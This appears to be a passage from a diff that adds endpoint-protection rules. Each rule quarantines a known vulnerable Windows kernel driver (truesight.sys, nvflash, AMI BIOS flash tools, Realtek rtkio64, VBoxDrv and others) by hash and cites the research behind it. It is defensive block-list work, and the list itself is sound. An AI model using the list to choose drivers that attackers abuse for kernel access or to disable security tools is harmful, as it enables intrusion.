+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140190Z",
+  "creation_date": "2026-03-23T11:45:31.140192Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140198Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "29bf8f226cd4e048eef081546c4f0fd81ab77dbb54cc75e2c76effe93cb62919",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "71b6e02f-949f-52ab-9536-62bc69d03743",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618075Z",
+  "creation_date": "2026-03-23T11:45:29.618077Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618085Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "50aa2b3a762abb1306fa003c60de3c78e89ea5d29aab8a9c6479792d2be3c2d7",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "71b97a78-e69b-5abd-b3e0-c2c8555fc9a2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.482727Z",
+  "creation_date": "2026-03-23T11:45:31.482731Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.482741Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0acef0a19973a7853d09e83a32e745cd38d4dcb88564e7575d783c0c13cfd7f9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "71e13771-07d2-5a60-9097-94c939d8260c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829863Z",
+  "creation_date": "2026-03-23T11:45:30.829865Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829887Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "20dbc1837e8b10bb35b582167918dd5818026c06a9b4187405925d42eea669ee",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "71e27892-3104-5e0a-ac6f-d98226e0277b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.479732Z",
+  "creation_date": "2026-03-23T11:45:31.479736Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.479746Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "843990c940711a684d360087216592cddf51742c21a134e6fe309eb49032da53",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "71e5040a-f34d-5be9-960b-6cf164bce658",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155805Z",
+  "creation_date": "2026-03-23T11:45:31.155807Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155813Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0eb2b056075631ee5d4765beb21802a883ece09aa43e9475dd6435f0b7a5ebec",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "71f45c13-ecca-59be-9a27-644f05fe2555",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831074Z",
+  "creation_date": "2026-03-23T11:45:30.831076Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831081Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cdf0d7a896541d9711a4361edb602ca050d769fd5f0b0ef87a50a2962b616a6b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "720280d9-a0dc-5f08-ba71-22e1e076dffe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812081Z",
+  "creation_date": "2026-03-23T11:45:31.812083Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812088Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "575dab49b1edb95a6cb08375428806b262796e5b54517cda608844bc4021571e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "720318e1-5d38-5cf9-a79f-649efecec71f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616988Z",
+  "creation_date": "2026-03-23T11:45:29.616990Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616996Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2ee914c20b3e4a321bcd2ea2f0f437cda6da09dc0819cd6f06960c0567f4cb19",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "72297edc-c90d-5e63-9075-095b98b7d967",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819226Z",
+  "creation_date": "2026-03-23T11:45:30.819228Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819233Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "77aabfc119686757d31cc9d21af9bf3bacecaae09dc92e548355a145db0aa774",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "722abf29-350f-5aec-aae7-d637fbdf1a3d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619422Z",
+  "creation_date": "2026-03-23T11:45:29.619424Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619429Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "64d060216cf55210f595609487b708d5e70e0706a8de0827369bf58898205f34",
+  "comment": "Realtek vulnerable driver (aka rtkio64.sys, rtkiow10x64.sys and rtkiow8x64.sys) [https://github.com/blogresponder/Realtek-rtkio64-Windows-driver-privilege-escalation] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "722cf7bf-5fdc-5090-a8b2-94b6d6b2815e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982765Z",
+  "creation_date": "2026-03-23T11:45:29.982767Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982773Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1f90d9c4d259c1fde4c7bb66a95d71ea0122e4dfb75883a6cb17b5c80ce6d18a",
+  "comment": "Vulnerable Kernel Driver (aka d3.sys) [https://www.loldrivers.io/drivers/13b2424a-d337-4bc7-ad1d-2049c79906b4/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7233b28c-2592-527a-b88e-a25c7e92e4da",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831713Z",
+  "creation_date": "2026-03-23T11:45:30.831715Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831720Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7cd32d0dcff4f90f0748d657ce5ac439605d30fadde084715479c3c3301552a0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7234d27d-d3f6-500c-954b-06eeee243033",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832022Z",
+  "creation_date": "2026-03-23T11:45:30.832024Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832030Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5a195eb7e92b9aadaf6a3d56267d60acd9dd7f1bab14c3359d2c7ac84ff26afb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7237a396-cff4-55c2-85e8-da29c1d2165c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608848Z",
+  "creation_date": "2026-03-23T11:45:29.608850Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608855Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c62bf9d0cc1edfffc15f3f002cd7f51efe3372320ec89d9dc96011000915c186",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "723ea7f7-c4c3-59ea-9bfc-fe24a5456507",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819135Z",
+  "creation_date": "2026-03-23T11:45:31.819138Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819143Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "519b16721301d8d48f85be37a8710735d686ed128aaacaf0ca0599dfd4d4466c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7240064e-aada-52f4-b1f8-23446c613cad",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617132Z",
+  "creation_date": "2026-03-23T11:45:29.617134Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617139Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7e8e7bc080b4c32ce703b3e8b3cc7e13fa9ef2422dc6f370a2c2b82496564aae",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "724b8135-c813-5c7a-9ee8-444dadbbe9a3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489452Z",
+  "creation_date": "2026-03-23T11:45:31.489455Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489463Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8e24bdf488308df21bcff4c381d235b536e34545bfe4e005bdff58b67622b7de",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "724d73f9-d673-5b10-a84d-d3afcc9416d9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491271Z",
+  "creation_date": "2026-03-23T11:45:31.491274Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491282Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "afc3e6f78dec5a0763e5b24bbcadc00f11d602c92460536d00cbb5cef8fc441f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "724ee48e-a0c8-56dd-b4ff-8dca7aca1e28",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457012Z",
+  "creation_date": "2026-03-23T11:45:30.457015Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457024Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a298cc166fe3bac9e9e4cae967f8e3bb41b08a6a97117ca4f8e5c4f198dbcffa",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "724f12ac-88fc-5a7e-b859-ad34b5d8cabe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153858Z",
+  "creation_date": "2026-03-23T11:45:31.153860Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153865Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e502b63c5fac48bca6fc42c02aecf126310ddb318950222fe37402c0ec3ae15c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "725edd8d-7a53-5d46-b574-cb7ddfdbf9c1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148555Z",
+  "creation_date": "2026-03-23T11:45:31.148557Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148562Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a7a61e11e82a08261b9816fefbeadc3b3253596a2a5e13d3cf6b521431245d3a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "726678cf-a8df-5f40-affe-ea4fc8030dea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.477891Z",
+  "creation_date": "2026-03-23T11:45:30.477895Z",
